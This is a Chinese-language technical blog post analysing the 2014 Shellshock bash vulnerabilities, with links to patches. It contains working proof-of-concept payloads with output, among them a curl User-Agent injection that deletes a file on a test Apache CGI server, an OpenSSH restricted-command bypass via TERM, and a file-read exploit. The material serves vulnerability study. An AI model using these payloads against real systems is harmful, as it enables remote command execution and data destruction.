author: shawn
0x00 什么是BASH
Bourne Again Shell(简称BASH)是在GNU/Linux上最流行的SHELL实现,于1980年诞生,经过了几十年的进化从一个简单的终端命令行解释器演变成了和GNU系统深 度整合的多功能接口。
0x01 CVE-2014-6271
法国GNU/Linux爱好者Stéphane Chazelas于2014年9月中旬发现了著名的SHELL实)的一个漏洞,你可以通过构造环境变量的值来执行你想要执行的脚本代码,据报道称,这个漏洞能影响众多的运行在GNU/Linux上的会跟BASH交互的应用程序,包括:
在sshd配置中使用了ForceCommand用以限制远程用户执行命令,这个漏洞可以绕过限制去执行任何命令。一些Git和Subversion部署环境的限制Shell也会出现类似情况,OpenSSH通常用法没有问题。
Apache服务器使用mod_cgi或者mod_cgid,如果CGI脚本在BASH或者运行在子SHELL里都会受影响。子Shell中使用C的system/popen,Python中使用os.system/os.popen,PHP中使用system/exec(CGI模式)和Perl中使用open/system的情况都会受此漏洞影响。
PHP脚本执行在mod_php不会受影响。 DHCP客户端调用shell脚本接收远程恶意服务器的环境变量参数值的情况会被此漏洞利用。
守护进程和SUID程序在环境变量设置的环境下执行SHELL脚本也可能受到影响。
任何其他程序执行SHELL脚本时用BASH作为解释器都可能受影响。Shell脚本不导出的情况下不会受影响。
OpenSSH, Apache2, php, dhcp client甚至带SUID的程序。
1,本地SHELL环境中测试是否有漏洞:
$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
如果存在漏洞会打印”vulnerable”。
2,C程序:
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | -----------------------------------------------------------------------------/* CVE-2014-6271 + aliases with slashes PoC - je [at] clevcode [dot] org */#include <unistd.h>#include <stdio.h>intmain(){    char*envp[] = {        "PATH=/bin:/usr/bin",        "/usr/bin/id=() { "        "echo pwn me twice, shame on me; }; "        "echo pwn me once, shame on you",        NULL    };    char*argv[] = { "/bin/bash", NULL };    execve(argv[0], argv, envp);    perror("execve");    return1;} | 
测试:
| 1 2 3 4 5 | je@tiny:~$ gcc -o bash-is-fun bash-is-fun.cje@tiny:~$ ./bash-is-funpwn me once, shame on youje@tiny:/home/je$ /usr/bin/idpwn me twice, shame on me | 
这个POC中可以看出BASH根本就没有去处理结尾,后面我们可以通过补丁来看为什么。
3,INVISIBLETHREAT上对于HTTP环境的测试:
创建一个脚本叫poc.cgi:
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | #!/bin/bashecho"Content-type: text/html"echo""echo'<html>'echo'<head>'echo'<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">'echo'<title>PoC</title>'echo'</head>'echo'<body>'echo'<pre>'/usr/bin/envecho'</pre>'echo'</body>'echo'</html>'exit0 | 
把脚本放入测试机后,输入:
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 | $ curl http://192.168.0.1/poc.cgi<html><head><meta http-equiv="Content-Type"content="text/html; charset=UTF-8"><title>PoC</title></head><body><pre>SERVER_SIGNATURE=<address>Apache/2.2.22 (Debian) Server at 192.168.0.1 Port 80</address>HTTP_USER_AGENT=curl/7.26.0SERVER_PORT=80HTTP_HOST=192.168.0.1DOCUMENT_ROOT=/var/wwwSCRIPT_FILENAME=/var/www/poc.cgiREQUEST_URI=/poc.cgiSCRIPT_NAME=/poc.cgiREMOTE_PORT=40974PATH=/usr/local/bin:/usr/bin:/binPWD=/var/wwwSERVER_ADMIN=webmaster@localhostHTTP_ACCEPT=*/*REMOTE_ADDR=192.168.0.1SHLVL=1SERVER_NAME=192.168.0.1SERVER_SOFTWARE=Apache/2.2.22 (Debian)QUERY_STRING=SERVER_ADDR=192.168.0.1GATEWAY_INTERFACE=CGI/1.1SERVER_PROTOCOL=HTTP/1.1REQUEST_METHOD=GET_=/usr/bin/env</pre></body></html> | 
再来试试使用curl设置一个user-agent玩玩:
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | $ curl -A "() { :; }; /bin/rm /var/www/target"http://192.168.0.1/poc.cgi<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator,webmaster@localhost and inform them of the timethe error occurred,and anything you might have donethat may havecaused the error.</p><p>More information about this error may be availableinthe server error log.</p><hr><address>Apache/2.2.22 (Debian) Server at 192.168.0.1 Port 80</address></body></html> | 
上面已经把/var/www/target给删除了,再来看看:
| 1 2 3 4 5 6 7 8 9 10 11 | $ curl http://192.168.0.1/target<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /targetwas not found on this server.</p><hr><address>Apache/2.2.22 (Debian) Server at 192.168.0.1 Port 80</address></body></html> | 
这个例子当中,内容被传入 HTTP_USER_AGENT (CGI 会把HTTP头当成环境变量解析). 最终变成这样:
| 1 2 3 4 | HTTP_USER_AGENT() {    :;};/bin/rm/var/www/target | 
应该只解析函数的定义,但是后面的内容仍然执行了。
4, 针对OpenSSH的POC
目前有2个攻击平面,Solar Designer给出了SSH_ORIGINAL_COMMAND的本地利用方法:
seclists.org/oss-sec/2014/q3/651
还有就是针对远程利用的POC,通过利用TERM:
在机器A上生成一对RSA key pair:
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | shawn@debian-test32:~/.ssh$ ssh-keygen Generating public/privatersa key pair.Enter fileinwhichto save the key (/home/shawn/.ssh/id_rsa): Enter passphrase (empty forno passphrase): Enter same passphrase again: Your identification has been saved in/home/shawn/.ssh/id_rsa.Your public key has been saved in/home/shawn/.ssh/id_rsa.pub.The key fingerprint is:09:1c:92:fb:c5:68:f8:e1:b9:c2:62:a8:c7:75:5b:dcshawn@debian-test32The key's randomart image is:+--[ RSA 2048]----+|    ...          ||    .o .         ||     ooo         ||    o +.o.       ||     = =S.       ||    . * o E      || o o . +         ||. = o o          ||oo . .           |+-----------------+ | 
把A的公钥拷贝到机器B上:
| 1 2 | $cat/home/shawn/.ssh/authorized_keyscommand="/tmp/ssh.sh"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9xYHEdjbbvSO+RAtDS3u+R4sD87SUQq5OZJ+6P5n3BoOz8eKfmK2B4qQa28uGvpseFSSXIoXTKdeS3mCXevbibGG6E3RQ63U7USrh9iQupO6c45Qt+3/WOo7X3mRlZ1awUmCjurcA5Zm/yOvyMJCoRd1kpkiJljgHtMztEhWvAE4inFkqyWC81SSfsvNd/GEiyCpFw84UTdF/cH626V3V73hlxwBMd8UKI27I7ATMOcPgWsI5738tLpgPDSisvZZXZNlxAfvSgpxKYAHOQ9VsaJCG4q+Giob5iX4IDzn8gs8G7uGW+EGhzTMq83f/8ar5a5Ex8Dg9M/loYPIPp5gJshawn@debian-test32 | 
一个用于控制command/SSH_ORIGINAL_COMMAND的脚本
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | shawn@linux-ionf:~/.ssh> cat/tmp/ssh.sh#!/bin/shcase"$SSH_ORIGINAL_COMMAND"in    "ps")        ps-ef        ;;    "vmstat")        vmstat 1 100        ;;    "cups stop")        /etc/init.d/cupsysstop        ;;    "cups start")        /etc/init.d/cupsysstart        ;;    *)        echo"Sorry. Only these commands are available to you:"        echo"ps, vmstat, cupsys stop, cupsys start"        #exit 1        ;;esac | 
机器A上可以正常的使用限制脚本:
| 1 2 3 4 5 6 7 | shawn@debian-test32:~/.ssh$ exportSSH_ORIGINAL_COMMAND="ps"shawn@debian-test32:~/.ssh$ sshshawn@192.168.115.129 $SSH_ORIGINAL_COMMANDEnter passphrase forkey '/home/shawn/.ssh/id_rsa': UID        PID  PPID  C STIME TTY          TIME CMDroot         1     0  0 16:47 ?        00:00:02 /sbin/initshowoptsroot         2     0  0 16:47 ?        00:00:00 [kthreadd]root         3     2  0 16:47 ?        00:00:00 [ksoftirqd/0] | 
借助TERM来利用:
| 1 2 3 4 | shawn@debian-test32:~$ exportTERM='() { :;}; id'; sshshawn@192.168.115.129Enter passphrase forkey '/home/shawn/.ssh/id_rsa': uid=1000(shawn) gid=100(users) groups=100(users)Connection to 192.168.115.129 closed. | 
0x02 补丁和后续
从最早GNU/Linux发行版社区收到的补丁:
https://bugzilla.novell.com/attachment.cgi?id=606672
可以看出BASH的确没有做异常处理,而直接解析后就执行了。
正式的社区补丁在这里:
http://ftp.gnu.org/pub/gnu/bash/bash-3.0-patches/bash30-017 http://ftp.gnu.org/pub/gnu/bash/bash-3.1-patches/bash31-018 http://ftp.gnu.org/pub/gnu/bash/bash-3.2-patches/bash32-052 http://ftp.gnu.org/pub/gnu/bash/bash-4.0-patches/bash40-039 http://ftp.gnu.org/pub/gnu/bash/bash-4.1-patches/bash41-012 http://ftp.gnu.org/pub/gnu/bash/bash-4.2-patches/bash42-048 http://ftp.gnu.org/pub/gnu/bash/bash-4.3-patches/bash43-025
但由于补丁修复的不完整,导致了CVE-2014-7169的爆出,POC如下:
| 1 2 3 4 5 6 | shawn@shawn-fortress /tmp$ date-u > test_fileshawn@shawn-fortress /tmp$ envX='() { (a)=<\' bash -c 'test_file cat'bash: X: line 1: syntax error near unexpected token `='bash: X: line 1: `'bash: error importing functiondefinition for`X'Thu Sep 25 09:37:04 UTC 2014 | 
这个POC可以让攻击者能读文件,看来后续的故事还没结束……………….
[1] BASH [2] Bash specially-crafted environment variables code injection attack [3] CVE-2014-6271 [4] CVE-2014-7169 [5] CVE-2014-6271: remote code execution through bash
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